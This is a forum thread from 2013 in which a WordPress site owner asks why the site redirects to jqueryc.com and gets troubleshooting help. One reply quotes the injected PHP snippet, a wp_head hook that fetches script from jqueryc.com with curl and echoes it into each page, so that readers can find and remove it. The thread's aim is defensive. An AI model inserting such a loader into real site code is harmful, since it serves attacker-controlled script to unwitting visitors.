1. Advertising
    y u no do it?

    Advertising (learn more)

    Advertise virtually anything here, with CPM banner ads, CPM email ads and CPC contextual links. You can target relevant areas of the site and show ads based on geographical location of the user if you wish.

    Starts at just $1 per CPM or $0.10 per CPC.

Site Redirecting To Jqueryc.com?

Discussion in 'WordPress' started by MiletNZ, Jan 22, 2013.

  1. #1
    Hey all,

    Think I've been hacked or the site I recently got from flippa has malicious code in it.

    I cannot get in to any link on the site now before it redirects to jqueryc.com

    Anyone know how to fix this? google isn't helping me this time...
     
    MiletNZ, Jan 22, 2013 IP
  2. pmp123

    pmp123 Member

    Messages:
    219
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    26
    #2
    this is most probably because of a stolen theme or you dnt have the license for this theme. this is generally added by developers in fuctions.php file of the theme
     
    pmp123, Jan 22, 2013 IP
  3. MiletNZ

    MiletNZ Member

    Messages:
    283
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    30
    #3
    How would I have a stolen theme? Most likely the new site I purchased?
     
    MiletNZ, Jan 22, 2013 IP
  4. MiletNZ

    MiletNZ Member

    Messages:
    283
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    30
    #4
    It doesn't have any paid themes with it - the only paid content on there is Amazon Estore Plugin. Does this mean I have an illegal version of it? Or could the seller have inserted it in to the code just to peeve me off?
     
    MiletNZ, Jan 22, 2013 IP
  5. pmp123

    pmp123 Member

    Messages:
    219
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    26
    #5
    as far as i can tell its the theme...
    look for folowing code in wp-contents.. themes.. your theme folder... functions.php
    if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}
    Code (markup):
    just remove it and save and this issue will b fixed
     
    pmp123, Jan 22, 2013 IP
  6. MiletNZ

    MiletNZ Member

    Messages:
    283
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    30
    #6
    It's definitely not the Theme, there isn't one activated, the Plugin itself acts as a theme. Amazon eStore Plugin. So there is no functions.php with it.

    Any other Ideas?
     
    MiletNZ, Jan 22, 2013 IP
  7. Rukbat

    Rukbat Well-Known Member

    Messages:
    2,908
    Likes Received:
    37
    Best Answers:
    51
    Trophy Points:
    125
    #7
    Grep all the site's files for jqueryc. When you find it, post the line before it, the line it's in and the line after it. (If you don't have any other way, download all the files on the site to a new folder on your computer. Download and install Wingrep. Run Wingrep on the folder, looking for jqueryc.)
     
    Rukbat, Jan 22, 2013 IP
  8. MiletNZ

    MiletNZ Member

    Messages:
    283
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    30
    #8
    Rukbat, I used Wingrep and it worked! Found a bit of malicious code in a completely random post.php! Thank you so much Rukbat!

    I have a feeling this plugin has been stolen though so I will contact the creator and purchase it from them again.
     
    MiletNZ, Jan 22, 2013 IP
  9. Rukbat

    Rukbat Well-Known Member

    Messages:
    2,908
    Likes Received:
    37
    Best Answers:
    51
    Trophy Points:
    125
    #9
    Glad you got it fixed. Now you have another tool you can use in the future.
     
    Rukbat, Jan 23, 2013 IP